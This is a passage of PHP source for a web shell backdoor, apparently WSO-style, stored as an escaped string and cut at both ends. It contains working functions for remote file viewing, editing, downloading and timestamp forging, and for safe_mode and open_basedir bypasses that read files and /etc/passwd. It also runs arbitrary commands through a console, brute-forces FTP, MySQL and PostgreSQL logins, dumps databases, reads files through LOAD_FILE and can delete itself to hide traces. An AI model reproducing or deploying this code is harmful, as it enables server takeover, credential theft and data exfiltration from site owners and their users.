urldecode($_POST[\'p1\']); \r\n    if(@$_POST[\'p2\']==\'download\') { \r\n        if(is_file($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) { \r\n            ob_start("ob_gzhandler", 4096); \r\n            header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\'])); \r\n            if (function_exists("mime_content_type")) { \r\n                $type = @mime_content_type($_POST[\'p1\']); \r\n                header("Content-Type: ".$type); \r\n            } \r\n            $fp = @fopen($_POST[\'p1\'], "r"); \r\n            if($fp) { \r\n                while(!@feof($fp)) \r\n                    echo @fread($fp, 1024); \r\n                fclose($fp); \r\n            } \r\n        } elseif(is_dir($_POST[\'p1\']) && is_readable($_POST[\'p1\'])) { \r\n\r\n        } \r\n        exit; \r\n    } \r\n    if( @$_POST[\'p2\'] == \'mkfile\' ) { \r\n        if(!file_exists($_POST[\'p1\'])) { \r\n            $fp = @fopen($_POST[\'p1\'], \'w\'); \r\n            if($fp) { \r\n                $_POST[\'p2\'] = "edit"; \r\n                fclose($fp); \r\n            } \r\n        } \r\n    } \r\n    printHeader(); \r\n    echo \'<h1>File tools</h1><div class=content>\'; \r\n    if( !file_exists(@$_POST[\'p1\']) ) { \r\n        echo \'File not exists\'; \r\n        printFooter(); \r\n        return; \r\n    } \r\n    $uid = @posix_getpwuid(@fileowner($_POST[\'p1\'])); \r\n    $gid = @posix_getgrgid(@fileowner($_POST[\'p1\'])); \r\n    echo \'<span>Name:</span> \'.htmlspecialchars($_POST[\'p1\']).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\'; \r\n    echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\'; \r\n    if( empty($_POST[\'p2\']) ) \r\n        $_POST[\'p2\'] = \'view\'; \r\n    if( is_file($_POST[\'p1\']) ) \r\n        $m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\'); \r\n    else \r\n        $m = array(\'Chmod\', \'Rename\', \'Touch\'); \r\n    foreach($m as $v) \r\n        echo \'<a href=# onclick="g(null,null,null,\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \'; \r\n    echo \'<br><br>\'; \r\n    switch($_POST[\'p2\']) { \r\n        case \'view\': \r\n            echo \'<pre class=ml1>\'; \r\n            $fp = @fopen($_POST[\'p1\'], \'r\'); \r\n            if($fp) { \r\n                while( !@feof($fp) ) \r\n                    echo htmlspecialchars(@fread($fp, 1024)); \r\n                @fclose($fp); \r\n            } \r\n            echo \'</pre>\'; \r\n            break; \r\n        case \'highlight\': \r\n            if( is_readable($_POST[\'p1\']) ) { \r\n                echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\'; \r\n                $code = highlight_file($_POST[\'p1\'],true); \r\n                echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\'; \r\n            } \r\n            break; \r\n        case \'chmod\': \r\n            if( !empty($_POST[\'p3\']) ) { \r\n                $perms = 0; \r\n                for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i) \r\n                    $perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1)); \r\n                if(!@chmod($_POST[\'p1\'], $perms)) \r\n                    echo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\'; \r\n                else \r\n                    die(\'<script>g(null,null,null,null,"")</script>\'); \r\n            } \r\n            echo \'<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\'; \r\n            break; \r\n        case \'edit\': \r\n            if( !is_writable($_POST[\'p1\'])) { \r\n                echo \'File isn\\\'t writeable\'; \r\n                break; \r\n            } \r\n            if( !empty($_POST[\'p3\']) ) { \r\n                @file_put_contents($_POST[\'p1\'],$_POST[\'p3\']); \r\n                echo \'Saved!<br><script>document.mf.p3.value="";</script>\'; \r\n            } \r\n            echo \'<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>\'; \r\n            $fp = @fopen($_POST[\'p1\'], \'r\'); \r\n            if($fp) { \r\n                while( !@feof($fp) ) \r\n                    echo htmlspecialchars(@fread($fp, 1024)); \r\n                @fclose($fp); \r\n            } \r\n            echo \'</textarea><input type=submit value=">>"></form>\'; \r\n            break; \r\n        case \'hexdump\': \r\n            $c = @file_get_contents($_POST[\'p1\']); \r\n            $n = 0; \r\n            $h = array(\'00000000<br>\',\'\',\'\'); \r\n            $len = strlen($c); \r\n            for ($i=0; $i<$len; ++$i) { \r\n                $h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \'; \r\n                switch ( ord($c[$i]) ) { \r\n                    case 0:  $h[2] .= \' \'; break; \r\n                    case 9:  $h[2] .= \' \'; break; \r\n                    case 10: $h[2] .= \' \'; break; \r\n                    case 13: $h[2] .= \' \'; break; \r\n                    default: $h[2] .= $c[$i]; break; \r\n                } \r\n                $n++; \r\n                if ($n == 32) { \r\n                    $n = 0; \r\n                    if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';} \r\n                    $h[1] .= \'<br>\'; \r\n                    $h[2] .= "\\n"; \r\n                } \r\n             } \r\n            echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\'; \r\n            break; \r\n        case \'rename\': \r\n            if( !empty($_POST[\'p3\']) ) { \r\n                if(!@rename($_POST[\'p1\'], $_POST[\'p3\'])) \r\n                    echo \'Can\\\'t rename!<br><script>document.mf.p3.value="";</script>\'; \r\n                else \r\n                    die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\'); \r\n            } \r\n            echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\'; \r\n            break; \r\n        case \'touch\': \r\n            if( !empty($_POST[\'p3\']) ) { \r\n                $time = strtotime($_POST[\'p3\']); \r\n                if($time) { \r\n                    if(@touch($_POST[\'p1\'],$time,$time)) \r\n                        die(\'<script>g(null,null,null,null,"")</script>\'); \r\n                    else { \r\n                        echo \'Fail!<script>document.mf.p3.value="";</script>\'; \r\n                    } \r\n                } else echo \'Bad time format!<script>document.mf.p3.value="";</script>\'; \r\n            } \r\n            echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\'; \r\n            break; \r\n        case \'mkfile\': \r\n             \r\n            break; \r\n    } \r\n    echo \'</div>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionSafeMode() { \r\n    $temp=\'\'; \r\n    ob_start(); \r\n    switch($_POST[\'p1\']) { \r\n        case 1: \r\n            $temp=@tempnam($test, \'cx\'); \r\n            if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){ \r\n                echo @file_get_contents($temp); \r\n                unlink($temp); \r\n            } else \r\n                echo \'Sorry... Can\\\'t open file\'; \r\n            break; \r\n        case 2: \r\n            $files = glob($_POST[\'p2\'].\'*\'); \r\n            if( is_array($files) ) \r\n                foreach ($files as $filename) \r\n                    echo $filename."\\n"; \r\n            break; \r\n        case 3: \r\n            $ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH); \r\n            curl_exec($ch); \r\n            break; \r\n        case 4: \r\n            ini_restore("safe_mode"); \r\n            ini_restore("open_basedir"); \r\n            include($_POST[\'p2\']); \r\n            break; \r\n        case 5: \r\n            for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) { \r\n                $uid = @posix_getpwuid($_POST[\'p2\']); \r\n                if ($uid) \r\n                    echo join(\':\',$uid)."\\n"; \r\n            } \r\n            break; \r\n        case 6: \r\n            if(!function_exists(\'imap_open\'))break; \r\n            $stream = imap_open($_POST[\'p2\'], "", ""); \r\n            if ($stream == FALSE) \r\n                break; \r\n            echo imap_body($stream, 1); \r\n            imap_close($stream); \r\n            break; \r\n    } \r\n    $temp = ob_get_clean(); \r\n    printHeader(); \r\n    echo \'<h1>Safe mode bypass</h1><div class=content>\'; \r\n    echo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value=">>"></form>\'; \r\n    if($temp) \r\n        echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\'; \r\n    echo \'</div>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionConsole() { \r\n    if(isset($_POST[\'ajax\'])) { \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true; \r\n        ob_start(); \r\n        echo "document.cf.cmd.value=\'\';\\n"; \r\n        $temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0")); \r\n        if(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))    { \r\n            if(@chdir($match[1])) { \r\n                $GLOBALS[\'cwd\'] = @getcwd(); \r\n                echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';"; \r\n            } \r\n        } \r\n        echo "document.cf.output.value+=\'".$temp."\';"; \r\n        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; \r\n        $temp = ob_get_clean(); \r\n        echo strlen($temp), "\\n", $temp; \r\n        exit; \r\n    } \r\n    printHeader(); \r\n?> \r\n<script> \r\nif(window.Event) window.captureEvents(Event.KEYDOWN); \r\nvar cmds = new Array(""); \r\nvar cur = 0; \r\nfunction kp(e) { \r\n    var n = (window.Event) ? e.which : e.keyCode; \r\n    if(n == 38) { \r\n        cur--; \r\n        if(cur>=0) \r\n            document.cf.cmd.value = cmds[cur]; \r\n        else \r\n            cur++; \r\n    } else if(n == 40) { \r\n        cur++; \r\n        if(cur < cmds.length) \r\n            document.cf.cmd.value = cmds[cur]; \r\n        else \r\n            cur--; \r\n    } \r\n} \r\nfunction add(cmd) { \r\n    cmds.pop(); \r\n    cmds.push(cmd); \r\n    cmds.push(""); \r\n    cur = cmds.length-1; \r\n} \r\n</script> \r\n<?php \r\n    echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\\\'clear\\\'){document.cf.output.value=\\\'\\\';document.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>\'; \r\n    foreach($GLOBALS[\'aliases\'] as $n => $v) { \r\n        if($v == \'\') { \r\n            echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\'; \r\n            continue; \r\n        } \r\n        echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\'; \r\n    } \r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\'])) \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false; \r\n    echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\'; \r\n    if(!empty($_POST[\'p1\'])) { \r\n        echo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\'])); \r\n    } \r\n    echo \'</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">\'; \r\n    echo \'</form></div><script>document.cf.cmd.focus();</script>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionLogout() { \r\n    unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]); \r\n    echo \'bye!\'; \r\n} \r\n\r\nfunction actionSelfRemove() { \r\n    printHeader(); \r\n    if($_POST[\'p1\'] == \'yes\') { \r\n        if(@unlink(SELF_PATH)) \r\n            die(\'Shell has been removed\'); \r\n        else \r\n            echo \'unlink error!\'; \r\n    } \r\n    echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionBruteforce() { \r\n    printHeader(); \r\n    if( isset($_POST[\'proto\']) ) { \r\n        echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\'; \r\n        if( $_POST[\'proto\'] == \'ftp\' ) { \r\n            function bruteForce($ip,$port,$login,$pass) { \r\n                $fp = @ftp_connect($ip, $port?$port:21); \r\n                if(!$fp) return false; \r\n                $res = @ftp_login($fp, $login, $pass); \r\n                @ftp_close($fp); \r\n                return $res; \r\n            } \r\n        } elseif( $_POST[\'proto\'] == \'mysql\' ) { \r\n            function bruteForce($ip,$port,$login,$pass) { \r\n                $res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass); \r\n                @mysql_close($res); \r\n                return $res; \r\n            } \r\n        } elseif( $_POST[\'proto\'] == \'pgsql\' ) { \r\n            function bruteForce($ip,$port,$login,$pass) { \r\n                $str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=\'\'"; \r\n                $res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass); \r\n                @pg_close($res); \r\n                return $res; \r\n            } \r\n        } \r\n        $success = 0; \r\n        $attempts = 0; \r\n        $server = explode(":", $_POST[\'server\']); \r\n        if($_POST[\'type\'] == 1) { \r\n            $temp = @file(\'/etc/passwd\'); \r\n            if( is_array($temp) ) \r\n                foreach($temp as $line) { \r\n                    $line = explode(":", $line); \r\n                    ++$attempts; \r\n                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { \r\n                        $success++; \r\n                        echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\'; \r\n                    } \r\n                    if(@$_POST[\'reverse\']) { \r\n                        $tmp = ""; \r\n                        for($i=strlen($line[0])-1; $i>=0; --$i) \r\n                            $tmp .= $line[0][$i]; \r\n                        ++$attempts; \r\n                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { \r\n                            $success++; \r\n                            echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp); \r\n                        } \r\n                    } \r\n                } \r\n        } elseif($_POST[\'type\'] == 2) { \r\n            $temp = @file($_POST[\'dict\']); \r\n            if( is_array($temp) ) \r\n                foreach($temp as $line) { \r\n                    $line = trim($line); \r\n                    ++$attempts; \r\n                    if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) { \r\n                        $success++; \r\n                        echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\'; \r\n                    } \r\n                } \r\n        } \r\n        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; \r\n    } \r\n    echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\' \r\n        .\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\' \r\n        .\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\' \r\n        .\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\' \r\n        .\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\' \r\n        .\'<span>Server:port</span></td>\' \r\n        .\'<td><input type=text name=server value="127.0.0.1"></td></tr>\' \r\n        .\'<tr><td><span>Brute type</span></td>\' \r\n        .\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\' \r\n        .\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\' \r\n        .\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\' \r\n        .\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\' \r\n        .\'<td><input type=text name=login value="komsen"></td></tr>\' \r\n        .\'<tr><td><span>Dictionary</span></td>\' \r\n        .\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\' \r\n        .\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\'; \r\n    echo \'</div><br>\'; \r\n    printFooter(); \r\n} \r\n\r\nfunction actionSql() { \r\n    class DbClass { \r\n        var $type; \r\n        var $link; \r\n        var $res; \r\n        function DbClass($type)    { \r\n            $this->type = $type; \r\n        } \r\n        function connect($host, $user, $pass, $dbname){ \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; \r\n                    break; \r\n                case \'pgsql\': \r\n                    $host = explode(\':\', $host); \r\n                    if(!$host[1]) $host[1]=5432; \r\n                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; \r\n                    break; \r\n            } \r\n            return false; \r\n        } \r\n        function selectdb($db) { \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    if (@mysql_select_db($db))return true; \r\n                    break; \r\n            } \r\n            return false; \r\n        } \r\n        function query($str) { \r\n            switch($this->type) { \r\n                case \'mysql\': \r\n                    return $this->res = @mysql_query($str); \r\n                    break; \r\n                case \'pgsql\': \r\n                    return $this->res = @pg_query($this->link,$str); \r\n                    break; \r\n            } \r\n            return false; \r\n        } \r\n        function fetch() { \r\n            $res = func_num_args()?func_get_arg(0):$this->res; \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    return @mysql_fetch_assoc($res); \r\n                    break; \r\n                case \'pgsql\': \r\n                    return @pg_fetch_assoc($res); \r\n                    break; \r\n            } \r\n            return false; \r\n        } \r\n        function listDbs() { \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    return $this->res = @mysql_list_dbs($this->link); \r\n                break; \r\n                case \'pgsql\': \r\n                    return $this->res = $this->query("SELECT datname FROM pg_database"); \r\n                break; \r\n            } \r\n            return false; \r\n        } \r\n        function listTables() { \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    return $this->res = $this->query(\'SHOW TABLES\'); \r\n                break; \r\n                case \'pgsql\': \r\n                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'"); \r\n                break; \r\n            } \r\n            return false; \r\n        } \r\n        function error() { \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    return @mysql_error($this->link); \r\n                break; \r\n                case \'pgsql\': \r\n                    return @pg_last_error($this->link); \r\n                break; \r\n            } \r\n            return false; \r\n        } \r\n        function setCharset($str) { \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    if(function_exists(\'mysql_set_charset\')) \r\n                        return @mysql_set_charset($str, $this->link); \r\n                    else \r\n                        $this->query(\'SET CHARSET \'.$str); \r\n                    break; \r\n                case \'mysql\': \r\n                    return @pg_set_client_encoding($this->link, $str); \r\n                    break; \r\n            } \r\n            return false; \r\n        } \r\n        function dump($table) { \r\n            switch($this->type)    { \r\n                case \'mysql\': \r\n                    $res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\'); \r\n                    $create = mysql_fetch_array($res); \r\n                    echo $create[1].";\\n\\n"; \r\n                    $this->query(\'SELECT * FROM `\'.$table.\'`\'); \r\n                    while($item = $this->fetch()) { \r\n                        $columns = array(); \r\n                        foreach($item as $k=>$v) { \r\n                            $item[$k] = "\'".@mysql_real_escape_string($v)."\'"; \r\n                            $columns[] = "`".$k."`"; \r\n                        } \r\n                    echo \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n"; \r\n                    } \r\n                break; \r\n                case \'pgsql\': \r\n                    $this->query(\'SELECT * FROM \'.$table); \r\n                    while($item = $this->fetch()) { \r\n                        $columns = array(); \r\n                        foreach($item as $k=>$v) { \r\n                            $item[$k] = "\'".addslashes($v)."\'"; \r\n                            $columns[] = $k; \r\n                        } \r\n                    echo \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."\\n"; \r\n                    } \r\n                break; \r\n            } \r\n            return false; \r\n        } \r\n    }; \r\n    $db = new DbClass($_POST[\'type\']); \r\n    if(@$_POST[\'p2\']==\'download\') { \r\n        ob_start("ob_gzhandler", 4096); \r\n        $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']); \r\n        $db->selectdb($_POST[\'sql_base\']); \r\n        header("Content-Disposition: attachment; filename=dump.sql"); \r\n        header("Content-Type: text/plain"); \r\n        foreach($_POST[\'tbl\'] as $v) \r\n                $db->dump($v); \r\n        exit; \r\n    } \r\n    printHeader(); \r\n    ?> \r\n    <h1>Sql browser</h1><div class=content> \r\n    <form name="sf" method="post"> \r\n        <table cellpadding="2" cellspacing="0"> \r\n            <tr> \r\n                <td>Type</td> \r\n                <td>Host</td> \r\n                <td>Login</td> \r\n                <td>Password</td> \r\n                <td>Database</td> \r\n                <td></td> \r\n\r\n            </tr> \r\n            <tr> \r\n                <input type=hidden name=a value=Sql> \r\n                <input type=hidden name=p1 value=\'query\'> \r\n                <input type=hidden name=p2> \r\n                <input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\'> \r\n                <input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'> \r\n                <td> \r\n                    <select name=\'type\'> \r\n                        <option value="mysql" <?php if(@$_POST[\'type\']==\'mysql\')echo \'selected\';?>>MySql</option> \r\n                        <option value="pgsql" <?php if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';?>>PostgreSql</option> \r\n                    </select></td> \r\n                <td><input type=text name=sql_host value=\'<?=(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\']));?>\'></td> \r\n                <td><input type=text name=sql_login value=\'<?=(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\']));?>\'></td> \r\n                <td><input type=text name=sql_pass value=\'<?=(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\']));?>\'></td> \r\n                <td> \r\n    <?php \r\n    $tmp = "<input type=text name=sql_base value=\'\'>"; \r\n    if(isset($_POST[\'sql_host\'])){ \r\n        if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) { \r\n            switch($_POST[\'charset\']) { \r\n                case "Windows-1251": $db->setCharset(\'cp1251\'); break; \r\n                case "UTF-8": $db->setCharset(\'utf8\'); break; \r\n                case "KOI8-R": $db->setCharset(\'koi8r\'); break; \r\n                case "KOI8-U": $db->setCharset(\'koi8u\'); break; \r\n                case "cp866": $db->setCharset(\'cp866\'); break; \r\n            } \r\n            $db->listDbs(); \r\n            echo "<select name=sql_base><option value=\'\'></option>"; \r\n            while($item = $db->fetch()) { \r\n                list($key, $value) = each($item); \r\n                echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\'; \r\n            } \r\n            echo \'</select>\'; \r\n        } \r\n        else echo $tmp; \r\n    }else \r\n        echo $tmp; \r\n    ?></td> \r\n                <td><input type=submit value=">>"></td> \r\n            </tr> \r\n        </table> \r\n        <script> \r\n            function st(t,l) { \r\n                document.sf.p1.value = \'select\'; \r\n                document.sf.p2.value = t; \r\n                if(l!=null)document.sf.p3.value = l; \r\n                document.sf.submit(); \r\n            } \r\n            function is() { \r\n                for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i) \r\n                    document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked; \r\n            } \r\n        </script> \r\n    <?php \r\n    if(isset($db) && $db->link){ \r\n        echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; \r\n            if(!empty($_POST[\'sql_base\'])){ \r\n                $db->selectdb($_POST[\'sql_base\']); \r\n                echo "<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>"; \r\n                $tbls_res = $db->listTables(); \r\n                while($item = $db->fetch($tbls_res)) { \r\n                    list($key, $value) = each($item); \r\n                    $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\')); \r\n                    $value = htmlspecialchars($value); \r\n                    echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\')\\">".$value."</a> (".$n[\'n\'].")</nobr><br>";\r\n                } \r\n                echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>"; \r\n                if(@$_POST[\'p1\'] == \'select\') { \r\n                    $_POST[\'p1\'] = \'query\'; \r\n                    $db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\'); \r\n                    $num = $db->fetch(); \r\n                    $num = $num[\'n\']; \r\n                    echo "<span>".$_POST[\'p2\']."</span> ($num) "; \r\n                    for($i=0;$i<($num/30);$i++) \r\n                        if($i != (int)$_POST[\'p3\']) \r\n                            echo "<a href=\'#\' onclick=\'st(\\"".$_POST[\'p2\']."\\", $i)\'>",($i+1),"</a> "; \r\n                        else \r\n                            echo ($i+1)," "; \r\n                    if($_POST[\'type\']==\'pgsql\') \r\n                        $_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30); \r\n                    else \r\n                        $_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\'; \r\n                    echo "<br><br>"; \r\n                } \r\n                if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) { \r\n                    $db->query(@$_POST[\'p3\']); \r\n                    if($db->res !== false) { \r\n                        $title = false; \r\n                        echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\'; \r\n                        $line = 1; \r\n                        while($item = $db->fetch())    { \r\n                            if(!$title)    { \r\n                                echo \'<tr>\'; \r\n                                foreach($item as $key => $value) \r\n                                    echo \'<th>\'.$key.\'</th>\'; \r\n                                reset($item); \r\n                                $title=true; \r\n                                echo \'</tr><tr>\'; \r\n                                $line = 2; \r\n                            } \r\n                            echo \'<tr class="l\'.$line.\'">\'; \r\n                            $line = $line==1?2:1; \r\n                            foreach($item as $key => $value) { \r\n                                if($value == null) \r\n                                    echo \'<td><i>null</i></td>\'; \r\n                                else \r\n                                    echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\'; \r\n                            } \r\n                            echo \'</tr>\'; \r\n                        } \r\n                        echo \'</table>\'; \r\n                    } else { \r\n                        echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\'; \r\n                    } \r\n                } \r\n                echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>"; \r\n                echo "</td></tr>"; \r\n            } \r\n            echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>"; \r\n            if(@$_POST[\'p1\'] == \'loadfile\') { \r\n                $db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file"); \r\n                $file = 